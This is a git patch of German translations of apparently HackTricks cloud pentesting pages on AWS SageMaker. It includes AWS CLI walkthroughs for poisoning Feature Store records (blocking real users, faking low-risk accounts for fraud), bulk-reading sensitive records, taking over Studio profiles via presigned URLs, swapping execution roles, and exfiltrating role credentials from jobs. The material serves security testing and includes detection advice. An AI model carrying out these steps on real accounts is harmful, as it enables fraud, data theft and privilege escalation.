From 49f843976f0171fb711adbbdbf7aa52fad5cd2b8 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 17 Oct 2025 15:53:40 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-services/aws-sagemake --- .../feature-store-poisoning.md | 174 +++++++++--- .../aws-sagemaker-privesc/README.md | 261 +++++++++++++++--- .../aws-services/aws-sagemaker-enum/README.md | 70 ++--- .../README.md | 105 +------ 4 files changed, 407 insertions(+), 203 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 8d578d988..55d1a3bff 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,50 +1,160 @@ # SageMaker Feature Store online store poisoning -Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von Online-Inferenz verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features auslesen. Dafür ist kein Zugriff auf Modelle oder endpoints erforderlich. +Missbrauche `sagemaker:PutRecord` an einer Feature Group mit aktivierter OnlineStore, um Live-Feature-Werte zu überschreiben, die von der Online-Inferenz verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features lesen und vertrauliche ML-Daten exfiltrieren. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich, wodurch es zu einem direkten Data-Layer-Angriff wird. -## Anforderungen +## Voraussetzungen - Berechtigungen: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Ziel: Feature Group mit OnlineStore enabled (typischerweise backing real-time inference) +- Ziel: Feature Group mit aktivierter OnlineStore (typischerweise für Echtzeit-Inferenz) +- Komplexität: **LOW** - Einfache AWS CLI Befehle, keine Modellmanipulation erforderlich ## Schritte -1) Wähle oder erstelle eine kleine Online Feature Group zum Testen + +### Reconnaissance + +1) Feature Groups mit aktivierter OnlineStore auflisten +```bash +REGION=${REGION:-us-east-1} +aws sagemaker list-feature-groups \ +--region $REGION \ +--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ +--output table +``` +2) Beschreibe eine Ziel-Feature Group, um deren Schema zu verstehen +```bash +FG= +aws sagemaker describe-feature-group \ +--region $REGION \ +--feature-group-name "$FG" +``` +Beachte die `RecordIdentifierFeatureName`, `EventTimeFeatureName` und alle Feature-Definitionen. Diese sind erforderlich, um gültige Datensätze zu erstellen. + +### Angriffsszenario 1: Data Poisoning (Overwrite Existing Records) + +1) Lies den aktuellen legitimen Datensatz +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +2) Vergifte den Datensatz mit bösartigen Werten über den Inline-Parameter `--record` +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"} +]" \ +--target-stores OnlineStore +``` +3) Vergiftete Daten verifizieren +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +**Auswirkung**: ML-Modelle, die dieses Feature verwenden, sehen jetzt `risk_score=0.99` für einen legitimen Benutzer, wodurch dessen Transaktionen oder Dienste möglicherweise blockiert werden. + +### Angriffsszenario 2: Malicious Data Injection (Create Fraudulent Records) + +Injiziere vollständig neue Datensätze mit manipulierten Features, um Sicherheitskontrollen zu umgehen: +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Create fake user with artificially low risk to perform fraudulent transactions +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"} +]" \ +--target-stores OnlineStore +``` +Überprüfen Sie die Injektion: +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-999 +``` +**Impact**: Attacker erstellt eine gefälschte Identität mit niedrigem Risiko-Score (0.01), die betrügerische Transaktionen mit hohem Wert durchführen kann, ohne die Betrugserkennung auszulösen. + +### Angriffsszenario 3: Exfiltration sensibler Daten + +Mehrere Datensätze lesen, um vertrauliche Merkmale zu extrahieren und das Verhalten des Modells zu profilieren: +```bash +# Exfiltrate data for known users +for USER_ID in user-001 user-002 user-003 user-999; do +echo "Exfiltrating data for ${USER_ID}:" +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string ${USER_ID} +done +``` +**Impact**: Vertrauliche Features (risk scores, transaction patterns, personenbezogene Daten) werden einem Angreifer offengelegt. + +### Erstellung einer Test-/Demo-Feature Group (optional) + +Wenn Sie eine Test Feature Group erstellen müssen: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) if [ -z "$FG" -o "$FG" = "None" ]; then ACC=$(aws sts get-caller-identity --query Account --output text) -FG=ht-fg-$ACC-$(date +%s) +FG=test-fg-$ACC-$(date +%s) ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) -aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" + +aws sagemaker create-feature-group \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-feature-name entity_id \ +--event-time-feature-name event_time \ +--feature-definitions "[ +{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"} +]" \ +--online-store-config "{\"EnableOnlineStore\":true}" \ +--role-arn "$ROLE_ARN" + echo "Waiting for feature group to be in Created state..." for i in $(seq 1 40); do ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) -echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15 done fi -``` -2) Einen Online-Datensatz einfügen/überschreiben (poison) -```bash -NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) -cat > /tmp/put.json << JSON -{ -"FeatureGroupName": "$FG", -"Record": [ -{"FeatureName": "entity_id", "ValueAsString": "user-123"}, -{"FeatureName": "event_time", "ValueAsString": "$NOW"}, -{"FeatureName": "risk_score", "ValueAsString": "0.99"} -], -"TargetStores": ["OnlineStore"] -} -JSON -aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json -``` -3) Datensatz zurücklesen, um die Manipulation zu bestätigen -```bash -aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" -``` -Erwartet: risk_score liefert 0.99 (vom Angreifer gesetzt) und beweist die Fähigkeit, Online-Features zu verändern, die von Modellen verwendet werden. -## Auswirkungen -- Echtzeit-Integritätsangriff: Manipuliere Features, die von Produktionsmodellen verwendet werden, ohne Endpunkte/Modelle zu berühren. -- Vertraulichkeitsrisiko: Sensible Features via GetRecord aus dem OnlineStore lesen. +echo "Feature Group ready: $FG" +``` +## Erkennung + +Überwache CloudTrail auf verdächtige Muster: +- `PutRecord`-Ereignisse von ungewöhnlichen IAM-Prinzipalen oder IP-Adressen +- Häufige `PutRecord`- oder `GetRecord`-Aufrufe +- `PutRecord` mit anomalen Feature-Werten (z. B. risk_score außerhalb des normalen Bereichs) +- Massive `GetRecord`-Operationen, die auf Massen-Exfiltration hindeuten +- Zugriffe außerhalb der üblichen Geschäftszeiten oder von unerwarteten Standorten + +Anomalieerkennung implementieren: +- Validierung von Feature-Werten (z. B. risk_score muss 0.0-1.0 sein) +- Analyse von Schreibmustern (Frequenz, Timing, Identität der Quelle) +- Erkennung von Data Drift (plötzliche Änderungen in der Verteilung der Feature-Werte) + +## References +- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md index 67ee109bc..cd909226e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -6,34 +6,116 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Beginne mit dem Erstellen einer Notebook-Instance und hänge die IAM Role an, um Zugriff zu erhalten: +Beginne mit der Erstellung eines Notebooks und weise die gewünschte IAM Role zu: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notebook-Instanz enthält. Anschließend können wir die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu erzeugen, mit der wir auf die Notebook-Instanz zugreifen können, sobald sie bereit ist: +Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notebook-Instanz angibt. Anschließend können wir die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu erzeugen, mit der wir auf die Notebook-Instanz zugreifen können, sobald sie bereit ist: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Rufe die URL im Browser auf und klicke oben rechts auf `Open JupyterLab``. Scrolle dann zur Registerkarte “Launcher” und klicke im Abschnitt “Other” auf den Button “Terminal”. +Öffne die URL im Browser und klicke oben rechts auf `Open JupyterLab`` , dann scrolle zum Tab “Launcher” und klicke im Abschnitt “Other” auf die Schaltfläche “Terminal”. -Nun ist es möglich, auf die metadata credentials der IAM Role zuzugreifen. +Nun ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM Role zuzugreifen. -**Potentielle Auswirkung:** Privesc auf die angegebene sagemaker service role. +**Potential Impact:** Privesc auf die angegebene sagemaker service role. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Wenn darauf Jupyter **notebooks bereits laufen** und du sie mit `sagemaker:ListNotebookInstances` auflisten kannst (oder sie auf andere Weise entdeckst), kannst du **eine URL für sie generieren, darauf zugreifen und die credentials stehlen, wie in der vorherigen Technik beschrieben**. +Wenn darauf Jupyter **Notebooks bereits laufen** und du sie mit `sagemaker:ListNotebookInstances` auflisten kannst (oder sie auf andere Weise entdeckst), kannst du **eine URL für sie generieren, darauf zugreifen und die Anmeldedaten stehlen, wie in der vorherigen Technik beschrieben**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Potentielle Auswirkungen:** Privesc to the sagemaker service role attached. +**Mögliche Auswirkung:** Privesc zur angehängten sagemaker Service-Rolle. + + +## `sagemaker:CreatePresignedDomainUrl` + +> [!WARNING] +> Dieser Angriff funktioniert nur bei alten, traditionellen SageMaker Studio Domains, nicht bei denen, die von SageMaker Unified Studio erstellt wurden. Domains von Unified Studio geben den Fehler zurück: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". + +Eine Identität mit der Berechtigung, `sagemaker:CreatePresignedDomainUrl` für ein Ziel-Studio-`UserProfile` aufzurufen, kann eine Login-URL erstellen, die direkt in SageMaker Studio als dieses Profil authentifiziert. Dies verschafft dem Browser des Angreifers eine Studio-Session, die die `ExecutionRole`-Berechtigungen des Profils erbt und vollen Zugriff auf das EFS-gesicherte Home-Verzeichnis und die Apps des Profils gewährt. Es wird keine `iam:PassRole`-Berechtigung oder Konsolenzugriff benötigt. + +**Voraussetzungen**: +- Eine SageMaker Studio `Domain` und ein Ziel-`UserProfile` darin. +- Der Angreifer-Principal benötigt `sagemaker:CreatePresignedDomainUrl` auf dem Ziel-`UserProfile` (auf Ressourcenebene) oder `*`. + +Minimales Policy-Beispiel (auf ein UserProfile beschränkt): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +**Abuse Steps**: + +1) Enumerate a Studio Domain und UserProfiles, die du anvisieren kannst +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Prüfen, ob unified studio nicht verwendet wird (Angriff funktioniert nur bei traditionellen SageMaker Studio-Domains) +```bash +aws sagemaker describe-domain --domain-id --query 'DomainSettings' +# If you get info about unified studio, this attack won't work +``` +3) Erzeuge eine presigned URL (standardmäßig ~5 Minuten gültig) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +4) Öffne die zurückgegebene URL in einem Browser, um dich als Zielbenutzer in Studio anzumelden. In einem Jupyter-Terminal innerhalb von Studio verifiziere die effektive Identität oder exfiltrate das Token: +```bash +aws sts get-caller-identity +``` +Hinweise: +- `--landing-uri` kann weggelassen werden. Einige Werte (z. B. `app:JupyterLab:/lab`) können je nach Studio-Flavor/Version abgelehnt werden; Standardwerte leiten typischerweise zur Studio-Startseite und dann zu Jupyter weiter. +- Org policies/VPC endpoint restrictions können den Netzwerkzugang weiterhin blockieren; das Erstellen des Tokens erfordert keine console sign‑in oder `iam:PassRole`. + +**Mögliche Auswirkungen**: Seitliche Bewegung und Privilegieneskalation durch Übernahme jedes Studio `UserProfile`, dessen ARN erlaubt ist, wodurch dessen `ExecutionRole` und Dateisystem/Apps übernommen werden. + + +### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` + +Eine Identität mit der Berechtigung, `sagemaker:CreatePresignedMlflowTrackingServerUrl` (und für späteren Zugriff `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`) für einen Ziel-SageMaker MLflow Tracking Server aufzurufen, kann eine einmalig verwendbare presigned URL erzeugen, die direkt beim verwalteten MLflow-UI dieses Servers authentifiziert. Das gewährt denselben Zugriff, den ein legitimer Benutzer auf den Server hätte (Experimente und Runs ansehen/erstellen sowie Artefakte im S3-Artifact-Store des Servers herunterladen/hochladen). + +**Anforderungen:** +- Einen SageMaker MLflow Tracking Server im Account/Region sowie dessen Namen. +- Der Angreifer-Principal benötigt `sagemaker:CreatePresignedMlflowTrackingServerUrl` auf der Ziel-MLflow-Tracking-Server-Ressource (oder `*`). + +**Missbrauchsschritte**: + +1) Enumeriere MLflow Tracking Server, die du anvisieren kannst, und wähle einen Namen aus +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Erzeuge eine vorab signierte MLflow-UI-URL (gültig für kurze Zeit) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--query AuthorizedUrl --output text +``` +3) Öffne die zurückgegebene URL in einem Browser, um auf die MLflow UI als authentifizierter Benutzer für diesen Tracking Server zuzugreifen. + +**Mögliche Auswirkungen:** Direkter Zugriff auf die verwaltete MLflow UI für den anvisierten Tracking Server, wodurch das Anzeigen und Ändern von experiments/runs sowie das Herunterladen oder Hochladen von Artefakten ermöglicht wird, die im vom Server konfigurierten S3 artifact store gespeichert sind, innerhalb der vom Server konfigurierte Berechtigungen. ### `sagemaker:CreateProcessingJob`, `iam:PassRole` -Ein Angreifer mit diesen Berechtigungen kann dafür sorgen, dass **SageMaker einen processing job ausführt**, dem eine SageMaker-Rolle zugeordnet ist. Indem du einen der AWS Deep Learning Containers wiederverwendest, die bereits Python beinhalten (und den Job in derselben Region wie die URI ausführst), kannst du inline-Code ausführen, ohne eigene Images bauen zu müssen: +Ein Angreifer mit diesen Berechtigungen kann **SageMaker dazu bringen, einen processing job auszuführen** mit einer angehängten SageMaker-Rolle. Durch Wiederverwendung eines der AWS Deep Learning Containers, die bereits Python enthalten (und wenn du den Job in derselben Region wie die URI ausführst), kannst du Inline-Code ausführen, ohne eigene Images zu erstellen: ```bash REGION= ROLE_ARN= @@ -49,11 +131,11 @@ aws sagemaker create-processing-job \ # Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. ``` -**Potential Impact:** Privesc auf die angegebene sagemaker Service-Rolle. +**Potential Impact:** Privesc auf die angegebene sagemaker-Service-Rolle. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Ein Angreifer mit diesen Berechtigungen kann einen Training-Job starten, der beliebigen Code mit der angegebenen Rolle ausführt. Mit einem offiziellen SageMaker-Container und indem man den entrypoint mit einem payload inline überschreibt, ist es nicht nötig, eigene Images zu bauen: +Ein Angreifer mit diesen Berechtigungen kann einen Training-Job starten, der beliebigen Code mit der angegebenen Rolle ausführt. Wenn man ein offizielles SageMaker-Container-Image verwendet und den entrypoint mit einem Inline-payload überschreibt, muss man keine eigenen Images bauen: ```bash REGION= ROLE_ARN= @@ -77,7 +159,7 @@ aws sagemaker create-training-job \ ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Ein Angreifer mit diesen Berechtigungen kann einen HyperParameter Tuning Job starten, der vom Angreifer kontrollierten Code unter der bereitgestellten Rolle ausführt. Script mode erfordert das Hosten des Payloads in S3, aber alle Schritte können über die CLI automatisiert werden: +Ein Angreifer mit diesen Berechtigungen kann einen HyperParameter Tuning Job starten, der vom Angreifer gesteuerten Code unter der bereitgestellten Rolle ausführt. Script mode erfordert das Hosten der Payload in S3, aber alle Schritte können über die CLI automatisiert werden: ```bash REGION= ROLE_ARN= @@ -183,27 +265,29 @@ aws sagemaker create-hyper-parameter-tuning-job \ --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \ --training-job-definition file:///tmp/hpo-definition.json ``` -Jedes vom Prozess gestartete Training druckt die Metrik aus und exfiltriert die Anmeldeinformationen der angegebenen Rolle. +Jedes vom Prozess gestartete Training gibt die Metrik aus und exfiltriert die Anmeldeinformationen der angegebenen Rolle. -### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (kein `iam:PassRole`) -Priorität von ExecutionRole: +### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) -- `UserProfile` überschreibt jeden Wert. Wenn ein Profil `ExecutionRole` definiert, verwendet Studio immer diese Rolle. -- `Space` gilt nur, wenn das Profil keine eigene Rolle hat; ansonsten hat die Profilrolle Vorrang. -- `Domain DefaultUserSettings` fungiert als letzter Ausweg, wenn weder Profil noch Space eine Rolle definieren. +Mit der Berechtigung, ein SageMaker Studio-Benutzerprofil zu aktualisieren, eine App zu erstellen, eine presigned URL zur App zu erzeugen und `iam:PassRole`, kann ein Angreifer die `ExecutionRole` auf jede IAM-Rolle setzen, die der SageMaker-Service-Principal übernehmen kann. Neue für dieses Profil gestartete Studio-Apps laufen mit der ausgetauschten Rolle und gewähren interaktiv erhöhte Berechtigungen über Jupyter-Terminals oder Jobs, die von Studio gestartet werden. -Mit Berechtigungen zum Aktualisieren eines SageMaker Studio User Profile (oder Space/Domain) kann ein Angreifer die `ExecutionRole` auf jede IAM-Rolle setzen, die der SageMaker-Service-Principal übernehmen kann. Im Gegensatz zu job-creation APIs benötigen die Studio-Profil-Update-APIs kein `iam:PassRole`. Neue Studio-Apps, die für dieses Profil gestartet werden, laufen mit der ausgetauschten Rolle und ermöglichen interaktive erhöhte Berechtigungen über Jupyter-Terminals oder Jobs, die aus Studio gestartet werden. +> [!WARNING] +> Dieser Angriff setzt voraus, dass sich keine Anwendungen im Profil befinden, andernfalls schlägt die Erstellung der App mit einer ähnlichen Fehlermeldung fehl: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` +> Falls eine App vorhanden ist, benötigen Sie zuerst die Berechtigung `sagemaker:DeleteApp`, um diese zu löschen. Schritte: ```bash -# 1) List Studio user profiles and pick a target +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target aws sagemaker list-user-profiles --domain-id-equals # Choose a more-privileged role that already trusts sagemaker.amazonaws.com ROLE_ARN=arn:aws:iam:::role/ -# 2) Update the Studio profile to use the new role (no iam:PassRole) +# 3) Update the Studio profile to use the new role (no iam:PassRole) aws sagemaker update-user-profile \ --domain-id \ --user-profile-name \ @@ -214,18 +298,59 @@ aws sagemaker describe-user-profile \ --user-profile-name \ --query 'UserSettings.ExecutionRole' --output text -# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level -aws sagemaker update-space \ ---domain-id \ ---space-name \ ---space-settings ExecutionRole=$ROLE_ARN +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals -aws sagemaker describe-space \ +# Delete an app +aws sagemaker delete-app \ --domain-id \ ---space-name \ ---query 'SpaceSettings.ExecutionRole' --output text +--user-profile-name \ +--app-type JupyterServer \ +--app-name -# 4) Optionally, change the domain default so every profile inherits the new role +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name + + +# 5) Generate a presigned URL to access Studio with the new domain default role +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) + +``` +**Potentielle Auswirkung**: Privilegieneskalation auf die Berechtigungen der angegebenen SageMaker ExecutionRole für interaktive Studio-Sitzungen. + + +### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) + +Mit Berechtigungen zum Aktualisieren einer SageMaker Studio Domain, zum Erstellen einer App und einer presigned URL für die App sowie `iam:PassRole` kann ein Angreifer die standardmäßige Domain-`ExecutionRole` auf jede IAM-Rolle setzen, die der SageMaker service principal übernehmen kann. Neue Studio-Apps, die für dieses Profil gestartet werden, laufen mit der ausgetauschten Rolle und gewähren interaktiv erhöhte Berechtigungen über Jupyter-Terminals oder Jobs, die aus Studio gestartet werden. + +> [!WARNING] +> Für diesen Angriff dürfen sich keine Anwendungen in der Domain befinden; andernfalls schlägt das Erstellen der App mit dem Fehler fehl: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.` + +Schritte: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 3) Change the domain default so every profile inherits the new role aws sagemaker update-domain \ --domain-id \ --default-user-settings ExecutionRole=$ROLE_ARN @@ -234,22 +359,86 @@ aws sagemaker describe-domain \ --domain-id \ --query 'DefaultUserSettings.ExecutionRole' --output text -# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role -aws sagemaker create-app \ +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals + +# Delete an app +aws sagemaker delete-app \ --domain-id \ --user-profile-name \ --app-type JupyterServer \ ---app-name js-atk +--app-name -# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: -# aws sts get-caller-identity # should reflect the new ExecutionRole +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--app-type JupyterServer \ +--app-name js-domain-escalated + +# 5) Generate a presigned URL to access Studio with the new domain default role aws sagemaker create-presigned-domain-url \ --domain-id \ --user-profile-name \ --query AuthorizedUrl --output text -``` -**Mögliche Auswirkungen**: Privilege escalation auf die Berechtigungen der angegebenen SageMaker execution role für interaktive Studio-Sitzungen. +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) +``` +**Potential Impact**: Privilegieneskalation zu den Berechtigungen der angegebenen SageMaker ExecutionRole für interaktive Studio-Sitzungen. + +### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl` + +Ein Angreifer mit der Berechtigung, eine SageMaker Studio App für ein Ziel-UserProfile zu erstellen, kann eine JupyterServer-App starten, die mit der `ExecutionRole` des Profiles ausgeführt wird. Dies ermöglicht interaktiven Zugriff auf die Berechtigungen der Rolle über Jupyter-Terminals oder Jobs, die aus Studio gestartet werden. + +Schritte: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# 3) Create a JupyterServer app for the user profile +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-privesc + +# 4) Generate a presigned URL to access Studio +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +``` +**Potenzielle Auswirkung**: Interaktiver Zugriff auf die SageMaker-Ausführungsrolle, die dem Ziel-UserProfile zugeordnet ist. + + +### `iam:GetUser`, `datazone:CreateUserProfile` + +Ein Angreifer mit diesen Berechtigungen kann einem IAM user Zugriff auf eine Sagemaker Unified Studio Domain gewähren, indem er ein DataZone User Profile für diesen erstellt. +```bash +# List domains +aws datazone list-domains --region us-east-1 \ +--query "items[].{Id:id,Name:name}" \ +--output json + +# Add IAM user as a user of the domain +aws datazone create-user-profile \ +--region us-east-1 \ +--domain-identifier \ +--user-identifier \ +--user-type IAM_USER +``` +Die Unified Domain-URL hat folgendes Format: `https://.sagemaker..on.aws/` (z. B. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`). + +**Mögliche Auswirkungen:** Zugriff auf die Sagemaker Unified Studio Domain als Benutzer, wodurch man auf alle Ressourcen innerhalb der Sagemaker Unified Studio Domain zugreifen und sogar Privilegien auf die Rolle eskalieren kann, die von den Notebooks innerhalb der Sagemaker Unified Studio Domain verwendet wird. ## Referenzen diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md index 62b0aa710..7ef51e7a7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -2,31 +2,31 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Service-Übersicht +## Service Overview -Amazon SageMaker ist AWS' verwaltete Machine-Learning-Plattform, die Notebooks, Trainingsinfrastruktur, Orchestrierung, Registries und verwaltete Endpunkte zusammenführt. Eine Kompromittierung von SageMaker-Ressourcen verschafft typischerweise: +Amazon SageMaker ist AWS' verwaltete Machine-Learning-Plattform, die Notebooks, 